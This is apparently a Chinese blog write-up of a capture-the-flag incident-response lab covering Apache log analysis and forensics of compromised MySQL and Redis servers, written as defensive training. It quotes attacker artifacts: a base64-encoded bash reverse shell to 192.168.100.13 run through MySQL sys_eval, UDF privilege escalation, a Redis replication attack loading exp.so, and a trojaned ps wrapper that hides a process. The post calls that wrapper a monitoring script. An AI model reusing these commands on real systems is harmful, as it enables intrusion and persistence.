玄机-第二章

本文最后更新于 2025年3月21日 晚上

apache 日志分析 & mysql 应急响应 & redis 应急响应

apache 日志分析

简介

1
2
3
4
5
6
7
账号密码 root apacherizhi
ssh root@IP
1、提交当天访问次数最多的IP,即黑客IP
2、黑客使用的浏览器指纹是什么,提交指纹的md5:
3、查看包含index.php页面被访问的次数,提交次数:
4、查看黑客IP访问了多少次,提交次数:
5、查看20238038时这一个小时内有多少IP访问,提交次数:

Q1

在 apache2 日志中过滤出访问次数最多的 IP

1
2
3
4
5
6
7
8
9
cut -d- -f 1 access.log.1 | uniq -c | sort -rn

# cut:从每行中提取指定字段
# -d-:指定分隔符为 -
# -f 1:指定要提取第一个字段
# uniq -c:删除重复的行,只统计唯一出现的次数
# sort:对输出内容排序
# -r:按照降序排列
# -n:按照数值大小排序

拿到 IP

1
flag{192.168.200.2}

Q2

知道 IP 了,直接过滤出来

1
cat access.log.1 | grep 192.168.200.2

找到指纹

1
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"

md5 加密

1
flag{2d6330f380f44ac20f3a02eed0958f66}

Q3

同理,过滤出 index.php 文件,wc -l列出次数

1
cat access.log.1 | grep "/index.php" | wc -l
1
flag{27}

Q4

按照 IP 过滤

1
grep "192.168.200.2" access.log.1 | cut -d' ' -f1 | sort -n | uniq -c

1
flag{6555}

Q5

按照时间过滤

1
grep "03/Aug/2023:08" access.log.1 | cut -d' ' -f1 | sort -n | uniq -c | wc -l

1
flag{5}

mysql 应急响应

简介

1
2
3
4
5
6
mysql应急响应 ssh账号 root  密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

Q1

写入的 shell 一般在 web 目录下,所以进入 /var/www/html 查看,查看可疑文件 sh.php

找到 flag

1
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

而且可以发现注入点为数据库表的第三个字段

Q2

反弹 shell 可以看日志,进入 /var/log 目录下看日志,进入 apache2 查看 access.log,能看见如下一条日志

1
192.168.200.2 - - [01/Aug/2023:02:18:18 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%27)%3B HTTP/1.1" 200 4025 "http://192.168.200.31:8005/adminer.php?username=root&sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F%27)%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"

url 解码之后得到

1
select sys_eval('echo YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx|base64 -d');

base64 解码得到反弹 shell 语句

1
bash -i >&/dev/tcp/192.168.100.13/777 0>&1

拿到 flag

1
flag{192.168.100.13}

Q3

能提权说明已经是连接上了,查找一下与账号有关的信息

1
find ./ -name "*.php" | xargs grep "root"

第一条显示了账号密码

1
mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");

直接连接上 mysql,查看是否为 UDF 提权

1
show global variables like 'secure_file_priv';

secure_file_priv 为空,因为 secure_file_priv 决定了是否有上传文件等操作的权限,当 secure_file_priv 为空时其也就表示了可以对任意路径进行操作,并且是 root 账户,满足了 UDF 提权。

进入 /usr/lib/mysql/plugin 目录

1
cd /usr/lib/mysql/plugin

发现了 udf.so 文件,md5 加密路径 /usr/lib/mysql/plugin/udf.so

1
flag{b1818bde4e310f3d23f1005185b973e7}

UDF 提权详解:【数据库提权系列】—【Mysql-UDF提权篇】

Q4

查询数据库中有哪些函数

1
select * from mysql.func;

同样使用此函数执行 whoami

1
select sys_eval('whoami');

拿到 flag

1
flag{mysql}

redis 应急响应

简介

1
2
3
4
5
6
7
8
9
10
11
12
服务器场景操作系统 Linux
服务器账号密码 root xjredis

任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查

1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
3.通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

Q1

进入 /var/log 目录查看日志信息 redis.log

有三个 IP : 192.168.100.13,192.168.31.55 和 192.168.100.20

而 IP 192.168.100.13 进行了 MASTER <-> REPLICA sync started 主从复制攻击,但攻击失败

192.168.31.55 并没有明显的恶意行为

同样 192.168.100.20 也进行了攻击,并且成功了,还执行了恶意模块操作 Module 'system' loaded from ./exp.so

1
flag{192.168.100.20}

主从复制攻击,是指将一台 Redis 服务器的数据复制到其他的 Redis 服务器,攻击机为主机,被攻击的机器为从机,利用复制的功能通过 FULLRESYNC 将主机上的文件同步复制至从机上,然后再利用 redis4.x/5.x 指令可以通过外部加载的特性去加载恶意的 so 文件,从而实现利用 redis 完成提权

Q2

从前面已经知道了恶意 so 文件 exp.so

从根目录找到 exp.so

1
strings exp.so | grep "flag"

1
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

Q3

查看 syslog.1 系统日志有一堆反弹 shell 的记录

说明攻击者写了计划任务,IP 为 192.168.100.20,查看有无定时任务

1
crontab -l

定时任务中反弹 shell 的 IP 为 192.168.100.13

攻击机切换了好几次 IP,从 192.168.100.13:8888 切换到 192.168.31.55:8888,然后再切换到 192.168.100.20:8888,这里的 flag 只算定时任务的 IP

1
flag{192.168.100.13}

Q4

一般 ssh 登录有两种:

用户生成一对 SSH 密钥对,包括私钥和公钥。公钥被上传并存储在目标服务器的用户账户下的 ~/.ssh/authorized_keys 文件中

直接使用用户名和密码登录

那这里可以查看 Redis 配置或查看 SSH 登录日志

访问 .ssh 目录中的 authorized_keys 文件,包含了 redis 的公钥

1
2
3
4
5
6
7
REDIS0009�      redis-ver5.0.1�
�edis-bits�@�ctime�tO�dused-mem�XU
aof-preamble���xxsshB9

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDh4OEFvyb4ubM7YPvzG/FfO6jE4PjLdmuCUdGP+aeLeJB5SXYT6zHkU9wlfY/Fo4UuBlhTqBaS6Ih/Wf62KepzrMsTQQYcSG/Xp8lgFzVCCFAk7apzxfRCPNk1pxaGiEF6MPoCmUu1UhC3ta3xyh2c4KZls0hyFN9JZsuD+siT8KVqm856vQ+RaTrZi3ThMa5gbeH+v3ZUcO35ZfMKor/uWXffHT0Yi06dsgIMN3faIiBrd1Lg0B5kOTaDq3fHs8Qs7pvR9C4ZTm2AK/Oct8ULdsnfS2YWtrYyC8rzNip9Wf083ZY1B4bj1UoxD+QwgThh5VP3xgRd9KDSzEYIBabstGh8GU5zDxr0zIuhQM35I0aALvojXl4QaaEnZwpqU3ZkojPG2aNC0QdiBK7eKwA38Gk+V8DEWc/TTkO+wm3aXYdll5sPmoWTAonaln1nmCiTDn4jKb73DxYHfSgNIDpJ6fS5kbWL5UJnElWCrxzaXKHUlqXJj3x81Oz6baFNv8= xj-test-user

�<#5M

xj-test-user 是一个用户名,搜索找到了 https://github.com/xj-test-user/redis-rogue-getshell/commit/76b1b74b92f9cc6ef2a62985debdf09dcc056636

然后拼接

1
flag{xj-test-user-wow-you-find-flag}

Q5

检查系统路径中的命令,在 /usr/bin 文件夹下查看

发现 ps 的权限为 -rwxrwxrwx,正常权限应该为 -rwxr-xr-x,查看 ps 的内容

1
flag{c195i2923381905517d818e313792d196}

简单分析一下这个脚本

1
2
3
4
5
6
7
8
9
#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
echo -e "$v\t";
done
IFS="$oldifs"

获取 ps_ 命令的输出,并按行处理和输出结果,列出系统中运行的进程,并过滤掉包含 threadd 关键字的进程信息,应该是一个进程监控脚本,检查特定进程的状态


玄机-第二章
http://example.com/2025/03/20/玄机-第二章/
作者
butt3rf1y
发布于
2025年3月20日
许可协议